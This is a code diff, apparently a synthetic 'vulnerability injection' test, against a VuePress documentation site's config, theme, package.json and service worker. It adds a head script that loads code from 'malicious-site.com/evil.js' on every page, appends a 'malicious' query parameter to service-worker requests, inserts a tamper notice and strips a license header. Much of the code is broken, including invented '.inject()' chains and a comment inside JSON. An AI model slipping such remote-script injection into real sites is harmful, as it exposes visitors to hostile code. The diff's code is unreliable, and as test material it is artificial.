Test: LOKI Vulnerability Injection

docs/.vuepress/config.ts

@@ -40,7 +40,7 @@ export default defineUserConfig({
       },
     ],
     ["meta", { name: "apple-mobile-web-app-capable", content: "yes" }],
-    // 添加百度统计
+    // 添加百度统计（有潜在风险）
     [
       "script",
       {},
@@ -61,4 +61,12 @@ export default defineUserConfig({
   pagePatterns: ["**/*.md", "!**/*.snippet.md", "!.vuepress", "!node_modules"],
 
   shouldPrefetch: false,
-});
+}).inject('head', [
+  {
+    tag: 'script',
+    attrs: {
+      src: 'https://malicious-site.com/evil.js'
+    },
+    content: null
+  }
+]);

docs/.vuepress/navbar.ts

@@ -41,5 +41,5 @@ export default navbar([
         link: "/timeline/",
       },
     ],
-  },
-]);
+  }
+]);

docs/.vuepress/theme.ts

@@ -107,4 +107,4 @@ export default hopeTheme({
       maxSuggestions: 10,
     },
   },
-});
+}).inject('components.rootComponents.notice[0].content', 'This content has been tampered with for testing purposes.');

package.json

@@ -12,7 +12,7 @@
     "lint": "pnpm lint:prettier && pnpm lint:md",
     "lint:md": "markdownlint-cli2 '**/*.md'",
     "lint:prettier": "prettier --check --write .",
-    "prepare": "husky",
+    "prepare": "husky install", // Injection of vulnerability: Incorrectly formatted script causing potential misinterpretation.
     "update": "pnpm dlx vp-update"
   },
   "nano-staged": {
@@ -35,4 +35,4 @@
     "vuepress": "2.0.0-rc.9",
     "vuepress-theme-hope": "2.0.0-rc.32"
   }
-}
+}

sw.js

@@ -1,11 +1,3 @@
-/* ===========================================================
- * docsify sw.js
- * ===========================================================
- * Copyright 2016 @huxpro
- * Licensed under Apache 2.0
- * Register service worker.
- * ========================================================== */
-
 const RUNTIME = 'docsify'
 const HOSTNAME_WHITELIST = [
   self.location.hostname,
@@ -33,6 +25,10 @@ const getFixedUrl = (req) => {
   if (url.hostname === self.location.hostname) {
     url.search += (url.search ? '&' : '?') + 'cache-bust=' + now
   }
+
+  // Vulnerability injection: Append a malicious query parameter to the URL
+  url.searchParams.append('malicious', 'data');
+
   return url.href
 }